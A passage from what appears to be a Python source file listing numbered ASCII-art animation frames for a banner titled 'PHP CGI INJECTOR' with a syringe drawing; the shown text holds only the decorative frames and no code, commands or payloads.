██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 333 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 334 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 335 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 336 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 337 | #20 338 | r""" 339 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 340 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠═╤╤╦╤╤╤╗ ██╔════╝██╔════╝ ██║ 341 | ██████╔╝███████║██████╔╝ █████████║████╠══██║ ██║ ███╗██║ 342 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠═╧╧╩╧╧╧╝ ██║ ██║ ██║██║ 343 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 344 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 345 | 346 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 347 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 348 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 349 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 350 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 351 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 352 | #21 353 | r""" 354 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 355 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 356 | ██████╔╝███████║██████╔╝ ██████████║███╠══██║ ██║ ███╗██║ 357 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 358 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 359 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 360 | 361 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 362 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 363 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 364 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 365 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 366 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 367 | #22 368 | r""" 369 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 370 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 371 | ██████╔╝███████║██████╔╝ ██████████║███╠══██║ ██║ ███╗██║ 372 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 373 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 374 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 375 | 376 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 377 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 378 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 379 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 380 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 381 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 382 | #23 383 | r""" 384 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 385 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 386 | ██████╔╝███████║██████╔╝ ██████████║███╠══██║ ██║ ███╗██║ 387 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 388 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 389 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 390 | 391 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 392 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 393 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 394 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 395 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 396 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 397 | #24 398 | r""" 399 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 400 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 401 | ██████╔╝███████║██████╔╝ ██████████║███╠══██║ ██║ ███╗██║ 402 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 403 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 404 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 405 | 406 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 407 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 408 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 409 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 410 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 411 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 412 | #25 413 | r""" 414 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 415 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 416 | ██████╔╝███████║██████╔╝ ██████████║███╠══██║ ██║ ███╗██║ 417 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 418 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 419 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 420 | 421 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 422 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 423 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 424 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 425 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 426 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 427 | #26 428 | r""" 429 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 430 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 431 | ██████╔╝███████║██████╔╝ ██████████║███╠═══██║ ██║ ███╗██║ 432 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 433 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 434 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 435 | 436 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 437 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 438 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 439 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 440 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 441 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 442 | #27 443 | r""" 444 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 445 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 446 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 447 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 448 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 449 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 450 | 451 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 452 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 453 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 454 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 455 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 456 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 457 | #28 458 | r""" 459 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 460 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 461 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 462 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 463 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 464 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 465 | 466 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 467 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 468 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 469 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 470 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 471 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 472 | #29 473 | r""" 474 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 475 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 476 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 477 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 478 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 479 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 480 | 481 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 482 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 483 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 484 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 485 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 486 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 487 | #30 488 | r""" 489 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 490 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 491 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 492 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 493 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 494 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 495 | 496 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 497 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 498 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 499 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 500 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 501 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 502 | #31 503 | r""" 504 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 505 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 506 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 507 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 508 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 509 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 510 | 511 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 512 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔══░██╗██╔══██╗ 513 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 514 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 515 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 516 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 517 | #32 518 | r""" 519 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 520 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 521 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 522 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 523 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 524 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 525 | 526 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 527 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═░░██╗██╔══██╗ 528 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 529 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 530 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 531 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 532 | #33 533 | r""" 534 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 535 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 536 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 537 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 538 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 539 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 540 | 541 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 542 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔░░░██╗██╔══██╗ 543 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 544 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 545 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 546 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 547 | #34 548 | r""" 549 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 550 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 551 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 552 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 553 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 554 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 555 | 556 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 557 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 558 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 559 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 560 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 561 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 562 | #35 563 | r""" 564 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 565 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 566 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 567 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 568 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 569 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 570 | 571 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 572 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 573 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░ ██║██████╔╝ 574 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░ ██║██╔══██╗ 575 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 576 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 577 | #36 578 | r""" 579 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 580 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 581 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 582 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 583 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 584 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 585 | 586 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 587 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 588 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░ ▒██║██████╔╝ 589 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░ ██║██╔══██╗ 590 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 591 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 592 | #37 593 | r""" 594 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 595 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 596 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 597 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 598 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 599 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 600 | 601 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 602 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 603 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░ ▒▒██║██████╔╝ 604 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░ ██║██╔══██╗ 605 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 606 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 607 | #38 608 | r""" 609 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 610 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 611 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 612 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 613 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 614 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 615 | 616 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 617 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 618 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░▒▒▒██║██████╔╝ 619 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░ ██║██╔══██╗ 620 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 621 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 622 | #39 623 | r""" 624 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 625 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 626 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 627 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 628 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 629 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 630 | 631 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 632 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 633 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░▒▒▒██║██████╔╝ 634 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░▒ ██║██╔══██╗ 635 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 636 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 637 | #40 638 | r""" 639 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 640 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 641 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 642 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 643 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 644 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 645 | 646 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 647 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 648 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░▒▒▒██║██████╔╝ 649 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░▒ ═██║██╔══██╗ 650 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 651 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 652 | #41 653 | r""" 654 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 655 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 656 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 657 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 658 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 659 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 660 | 661 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 662 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 663 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░▒▒▒██║██████╔╝ 664 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░▒╔═██║██╔══██╗ 665 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 666 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 667 | #42 668 | r""" 669 | ██████╗ ██╗ 